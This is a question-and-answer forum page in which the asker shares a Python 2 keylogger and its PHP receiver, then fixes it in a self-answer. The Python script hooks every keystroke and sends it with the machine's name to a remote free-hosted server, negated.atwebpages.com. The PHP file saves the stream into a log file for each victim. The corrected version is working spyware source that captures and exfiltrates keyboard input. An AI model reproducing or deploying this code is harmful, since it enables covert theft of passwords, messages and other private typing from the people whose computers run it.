1

The scope of this script is to send all the keyboard input to a PHP file in a server, that saves it in a file. I've created the directory "logs" in the server and the index.php file. I'm using the WebFreeHosting site for this purpose. Here's the PHP file:

<?php

if(isset($_GET['pcName'], $_GET['toLog'])){

$toLogs = str_split($_GET['toLog']);
$pcName = $_GET['pcName'];
$allows = array_merge(range('A', 'Z'), range('a', 'z'), range('0', '9'));
array_push($allows, "\n", "\t", "@", ".", " ", "?", "!", "(", ")", "#", "$", "%", "^", "^", "&", "*", "'", "<", ">", "/", "-", "+", "=", "_", "{", "}", '"');
foreach($toLogs as $toLog){
        if(!in_array($toLog, $allows))
                $toLog = "";
        if($toLog == "\r")
                $toLog = "\n";

        $file = fopen('logs/'.$pcName.'.txt', "a");
        fwrite($file, $toLog);
        fclose($file);
}

}

?>

And that's the Python script that hooks the keyboard's input and sends it with a GET request on the index.php file:

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

#functions
def OnKeyBoardEvent(event):
    print event.Ascii
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii) })
        conn = httplib.HTTPConection("negated.atwebpages.com")
        conn.request("GET", "/index.php?" + params)

    except:
        pass
    return True


hook_manager = pyHook.HookManager() #new hook manager
hook_manager.KeyDown = OnKeyBoardEvent #tells what to do when the user presses button
hook_manager.HookKeyboard() # tells the program to keep hooking the keyboard
pythoncom.PumpMessages()# keeps the progam running

When i just type in a browser the URL negated.atwebpages.com/index.php?pcName=pc&toLog=hello i receive my text file with the name of the pc using the script, and the keyboard input. But when i activate the script, i don't receive the text file, so it seems is not connecting properly. I can't figure it out what i'm doing wrong. Btw, the library implementation, makes me run the script with this cmd line: py -2 script.py

1 Answer 1

1

I did workaround the problem, using the requests library, now the script works, and i receive the file. I've just replaced these two lines:

 conn = httplib.HTTPConection("negated.atwebpages.com")
 conn.request("GET", "/index.php?" + params)

with these

url = "http://negated.atwebpages.com/index.php?"
requests.get(url + params)
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.